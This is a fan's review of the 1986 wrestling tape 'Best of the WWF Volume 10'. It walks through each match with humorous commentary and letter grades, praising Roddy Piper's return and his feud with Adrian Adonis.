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Best of the WWF Volume 10 – The Squash is the Best Match Here

Best of the WWF Volume 10
Host: Gene Okerlund
Commentators: Gorilla Monsoon, Alfred Hayes, Gene Okerlund

It’s that time again, although I’m rapidly running out of these that I can find copies of. This is from late 86, which wasn’t a good time for the company. The one good thing on here is Piper returning and his feud with Adrian Adonis, which is old school Piper at his crazy best. The rest….eh I’ve been surprised before. Let’s get to it.

That Coliseum Video intro. I dig it.

Gene does the intro and you can see Wrestlemania 2 playing in the background. This isn’t looking good for us people.

Ricky Steamboat/Junkyard Dog/Haiti Kid vs. Jimmy Jack Funk/Hoss Funk/Jimmy Hart

Haiti Kid is a midget wrestler. Gorilla says it’ll be a classic and I don’t see myself agreeing. Jack (can’t call him Jimmy here) and Steamboat start us off. Ricky controls early and speeds things up. I think we’re in Boston here if you’re interested. Jimmy (for the sake of simplicity, when I say Jimmy I mean Hart) comes in and all three “good” guys swarm him. We then get a sequence which can only be described as a dog picking up a midget and throwing him at a man wearing a Lone Ranger mask.

Off to Hoss (Dory Jr.) vs. the Dog. Let the stalling begin. Steamboat comes in again and this is still completely one sided. He clears the ring again and we stall some more. Jack FINALLY gets some offense in to give him team a break. Hoss’ piledriver is countered into a backdrop as is his suplex into a suplex. Small package gets two for Ricky. Jack comes in and hammers away a bit. There’s not much of a point in listing off what happens here because it’s exactly what you would expect I’d presume.

Dragon finally gets in a chop to Hoss and brings in the Dog. He and Hoss go down and Jimmy and Haiti Kid remind us they’re alive by doing a quick and pointless chase. By quick, I mean about two seconds. Dog and Hoss move for about ten seconds so it’s time for a double clothesline. Dog needed a nap. Jack knocks Dog down so here’s Jimmy to a bit pop. Dog no sells it and Jimmy PANICS. The Kid comes in and everything breaks down. Dory hits Dog with the Megaphone and takes out the Kid so Jimmy can pin the tiny one.

Rating: D. When a manager and a midget get by far and away the biggest reactions of the match, you can kind of tell that something is wrong with your match. It was more or less a tag team match with interfering managers. That being said, it wasn’t a good tag match which really hurt things here. Boring match and REALLY long.

Tito Santana vs. Bob Orton

This is around the time when Orton is siding with Adrian Adonis so he’s even more hated since it was arguable that Adonis was the most hated heel in the company (not top heel, most hated. There’s a difference.). Gorilla says Tito has Excellence of Execution. We’re in Boston again here. They exchange basic stuff to start and hit the mat. Clipped to talking about Terry Garvin and that’s not going to go well.

Orton hits a hip toss and a slow flying headscissors. He misses a dive in the corner though and kind of crotches himself. Tito sends him to the floor because he’s not a nice person at times. Back in a jackknife cover gets two for Santana. This is shaping up to be LONG. Tito throwing on an armbar would seem to confirm my theory. Clipped again to later in the armbar so you know this is going to last awhile.

Orton gets up and just pounds him down as the fans boo. Backslide gets one for Tito and it’s back to the arm. As the fans’ eyes begin to close, Orton finally wakes them up a bit with an atomic drop. His shoulder hits the post though and so it’s back to the arm. Bob sends him to the floor to make this slow down even more. Santana gets thrown into a barricade and knocks it over.

Tito gets draped on the rope coming back in and Orton walks around even slower. And now we go to a chinlock. Grrrrrreat. Thankfully Tito atomic drops out of it and they both fall down. And then Bob grabs it right back. Tito punches him down and grabs the leg. He works it over a bit and here’s the Figure Four. After Orton gets the rope, Tito sets for the headknocker but takes a head to the balls (at least it’s a complete set) and Bob takes over again. They slug it out and the bell rings for a time limit draw. Apparently this ran 30 minutes.

Rating: D+. It’s ok but that’s just it: there’s nothing interesting here at all. They do a little bit of something and then they do a little bit of something else. They repeat this for the twenty minutes that we see of it. I don’t want to imagine what would have happened here if this was shown in full. What does this prove to anyone? That’s why you don’t see many of these that often. Also, this is proof that simply going 30 or 60 minutes as so many old guys claim to have done, doesn’t mean it’s any good.

The Machines vs. Big John Studd/King Kong Bundy

LONG story here that eventually helped set up Hogan vs. Andre. Giant Machine isn’t here though so there’s no point in listing it off. The Machines are Big Machine and Super Machine, or some combination of Axe from Demolition and Blackjack Lanza. Bundy hammers on let’s say Giant Machine. Heenan got run off early in the match and jumps in on commentary here.

While he rambles, Studd gets hammered down. Off to Bundy and Hayes thinks Studd is injured. He and Lanza collide and no one goes anywhere. Instead they hit each other and Bundy goes back into the corner. Avalanche misses and Team Heenan isn’t doing that well. Axe comes in (the announcers don’t know their names either) and pounds on Studd but gets blasted in the head to shift momentum.

Bundy and Studd collide in the corner and Heenan has to play peacemaker. Axe almost splashes Lanza but puts the brakes on. Studd pops him in the back of the head from the apron to shift momentum again. Studd goes for the mask but Lanza makes the save. Hot tag brings in Lanza and everything breaks down. Lanza hits a jumping back elbow for a very delayed two. Delayed because Heenan is late running in for the DQ so the referee basically just stops before the three.

Rating: D+. These matches were meant to be fun, but when you didn’t have the Giant in there it really hurt things. Not a good match or anything, but it wasn’t particularly meant to be. They did their thing here and the ending hut it a lot, but that doesn’t make it a good match. Still it’s old school fun though so I can’t complain much here.

Tag Titles: Dream Team vs. US Express

This is the Rotundo/Spivey version. The Dream Team has the tag titles but I don’t think they’re on the line here. Ok so they are. That works too. Rotundo gets beaten on by the champions but he speeds things up to get out of trouble. He gets his knees up in the corner and works over the arm. The good guys do the blind tag thing because faces in wrestling are usually evil. As Spivey gets beaten down the Dream Team tries the same thing and get thrown out. See? Heels aren’t heels because they’re evil. They’re heels because they get mistreated.

Rotunda vs. Valentine at the moment with Mike missing an elbow to give the champions the advantage. Valentine beats on him a bit until he gets caught in the Arn Anderson holding the arm down to the mat then jump crotch first onto the knees spot. Was that a Mid-Atlantic thing? Beefcake gets a sleeper on Mike but it gets countered pretty quickly. Greg breaks up the tag attempt and goes after the leg.

Now I know the Figure Four was a Mid-Atlantic thing. I’m still not sure on the crotching spot but you see it enough that it almost has to be. We finally get the hot tag when the Figure Four doesn’t work so it’s off to Spivey to clean house. For some reason the challengers tag twice after Spivey comes in. To no shock Rotundo got beaten up quickly so it was back to Spivey. The champs try to cheat but it can’t get the pin. Beefcake counters a rollup into a very sloppy looking one, grabs the furry boots (What is with those? So many people use them and I still don’t get the point) and gets the clean pin.

Rating: C-. The match was ok but I have no idea what the point was in having the challengers get beat that cleanly. It looked pretty bad as Spivey pretty clearly could have kicked out but didn’t. There was something a few seconds earlier though that looked a bit botched, so maybe that wasn’t the planned ending.

Brutus Beefcake vs. Billy Jack Haynes

Luscious John steals Jack’s hat so Beefcake can take an early advantage. I think we’re in MSG here. Brutus takes over due to the hat thing and uses his bare bones stuff to take over. At this point he was really boring and VERY limited. He also had the same style haircut as my cousin Sharon, which is a knock on him and not her. Haynes counters a suplex into one of his own and both guys are down.

This is one of those house show matches that is on a house show for a reason. There’s nothing interesting at all and the guys in there aren’t really all that interested in cranking things up past the bare minimum. Haynes gets a clothesline to take over again and my goodness END THIS ALREADY. He hits a splash to the knees but apparently it doesn’t hurt him as he covers for two anyway. And then Luscious John (Beefcake’s manager if that wasn’t clear) trips Haynes for the DQ.

Rating: D-. I liked Beefcake when I was a kid but MAN was this boring. They weren’t interesting at all and the fans weren’t really interested either. Neither guy was anything of note and they were only there to fill in about ten minutes on the card. At least it’s over though and we have to move on to something better right?

Islanders vs. Jimmy Jack Funk/Mr. X

Seriously, THIS IS THE BEST OF THE WWF??? This is the Islanders’ debut. We also have a female referee. X vs. Tama to start us off. Tama runs him off and it’s Funk in now. Ok back to X and Haku. The Islanders are faces here due to not being in the Heenan Family yet. Backbreaker gets two for Haku and this referee counts slow. Back to Tama vs. Funk and they mess up a backdrop as Funk stops, then gets backdropped.

Funk hits Tama in the back while he’s hitting the ropes to take over. This is already boring me, which is the running theme of this tape and arguably this series. Tama gets beaten down for awhile as this match is going WAY too long for a debut. Jack hits a shoulder breaker and middle rope fist drop for two. It was nice of Tama to scoot closer to the ropes for Jack to hit him.

Tama finally escapes a neckbreaker into a snap (minus the snap) suplex to put both guys down. Oh come on just get to the tag so we can get to end of this already. They tag but the referee doesn’t see it. I love that but NOT IN TEN MINUTE DEBUTS! Tama ducks a clothesline and then a double clothesline puts both guys down. FINALLY Haku gets the tag and cleans house before bringing Tama back in for a splash RVD would be jealous of for the pin after nearly 13 minutes.

Rating: D. This was their debut. If you want a team to be impressive in their debut, you make it a squash. You don’t make it a match that lasted longer than most main events would go. They beat up jobbers in their debut, but the WWF managed to screw this up. How could they manage to do that???

Roddy Piper vs. AJ Petrucci

AJ is a jobber who looks like a combination of Tugboat and Akeem but even less memorable. This is Piper’s big return and MAN is he over. This is from Superstars. AJ slaps him so Piper puts one hand behind his back for the rest of the match and beats the tar out of him. This is the crazy fired up Piper that is just AWESOME. This is awesome stuff with Piper giving him a brutal beating with all kinds of strikes and never taking his arm from behind his back except for at the end for a double axe to the face to end it. Total squash but AWESOME.

Now we get to the BIG angle of this time. Piper had left for awhile, I think to film some movies, and comes back to host the Pit. But the Pit is gone and Adrian Adonis has his own show called The Flower Shop. He also has Bob Orton, Piper’s former bodyguard, in a pink hat as the new bodyguard. They break Piper’s leg with a chair so Piper limps out (in wrestling trunks for some reason) and DESTROYS the Flower Shop with a ball bat. Adonis jumped Piper on the set of the Pit and put him to sleep. Then Piper ran in on an Adonis match and the locker room had to empty to break them up.

Roddy Piper vs. Don Muraco

Muraco is an Adonis crony. Piper jumps him to start and he’s WAY over. He was easily the second most popular guy in the company at this point. Muraco has a beard here which doesn’t work on him at all. They go to the floor and Piper slams him into a chair. Piper bites him coming back in and then gets him tied up in the ropes.

There’s a bulldog for no cover. There are cops walking around in the front row for some reason. Muraco sends him to the floor and Fuji gets in a shot to take Piper down a few pegs. Piper gets sent into the post and is busted. I can’t actually see it but Gorilla said it and Gorilla wouldn’t lie. Back in now and Piper spears him down to take over. Oh yeah it’s dripping off his face. Muraco is busted too.

This is a total brawl now. Muraco swings away but you don’t do that to Piper. He takes over with punches and hits a suplex for two. Fuji pokes Piper with the cane to shift momentum one more time. They’re both bleeding a ton. Fuji tries to interfere again but Muraco accidentally knees him to the floor and Piper rolls up Muraco for the pin.

Rating: B-. Fun brawl here which is what Piper was best at. He could go out there and have a totally wild brawl but his charisma was more than enough to carry him to a good match. Well maybe fun is the better term that good but you get the idea. This of course all culminated with the hair vs. hair match at Mania with Piper vs. Adonis.

Overall Rating: D. This was a pretty dull tape and a lot of that is due to a combination of match selection and the era in which its set. This was a bad time for the WWF as other than the main event which had Orndorff vs. Hogan (not mentioned here) there wasn’t much going on. The midcard was dominated by Savage and Steamboat was out injured or was about to be. Weak tape.

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